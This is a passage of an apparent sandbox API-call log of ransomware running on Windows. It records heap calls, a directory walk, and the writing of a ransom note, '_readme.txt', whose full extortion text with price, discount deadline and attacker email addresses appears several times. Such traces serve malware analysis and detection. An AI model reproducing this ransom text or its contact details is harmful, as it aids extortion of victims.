Flags=0x0, Size=0x840) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.535] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.535] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.535] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.535] PathFindFileNameW (pszPath="") returned="" [0066.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.535] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.536] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.536] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.536] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.536] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.536] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0066.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.537] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.537] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.537] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.537] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.537] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.538] CloseHandle (hObject=0x5c4) returned 1 [0066.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.539] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.539] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.539] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 